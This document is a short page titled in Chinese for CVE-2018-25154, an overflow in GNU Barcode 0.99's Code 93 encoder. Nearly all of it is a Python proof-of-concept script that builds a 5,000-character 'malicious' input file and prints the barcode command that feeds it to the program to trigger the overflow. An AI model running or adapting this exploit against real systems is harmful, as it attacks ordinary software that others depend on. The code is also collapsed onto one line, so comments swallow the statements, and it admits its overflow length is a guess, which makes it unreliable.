CVE-2018-25154 GNU Barcode 0.99 code 93编码缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2018-25154 PoC - GNU Barcode 0.99 Code 93 Buffer Overflow # This PoC generates a malicious input file that triggers buffer overflow import sys def generate_malicious_input(): """ Generate malicious input for GNU Barcode to trigger code 93 buffer overflow """ # Code 93 encoding uses specific character set # Extended Code 93 can encode full ASCII (0-127) # Create an oversized input that will overflow the buffer # The exact overflow length depends on the specific buffer size in the code target_length = 5000 # This should exceed the internal buffer size # Code 93 valid characters: 0-9, A-Z, -., $, /, +, %, space valid_chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-. $/+%' # Generate payload payload = '' for i in range(target_length): payload += valid_chars[i % len(valid_chars)] return payload def create_barcode_file(filename, content): """Write content to file for processing by GNU Barcode""" with open(filename, 'w') as f: f.write(content) print(f"[*] Malicious input file created: {filename}") print(f"[*] File size: {len(content)} bytes") def main(): print("[*] CVE-2018-25154 GNU Barcode Code 93 Buffer Overflow PoC") print("[*] Target: GNU Barcode <= 0.99") # Generate malicious input payload = generate_malicious_input() # Save to file output_file = "malicious_input.txt" create_barcode_file(output_file, payload) print("[*] To trigger the vulnerability, process this file with GNU Barcode:") print(f"[*] barcode -b {output_file} -o output.ps") print("[*] PoC generated successfully") if __name__ == "__main__": main()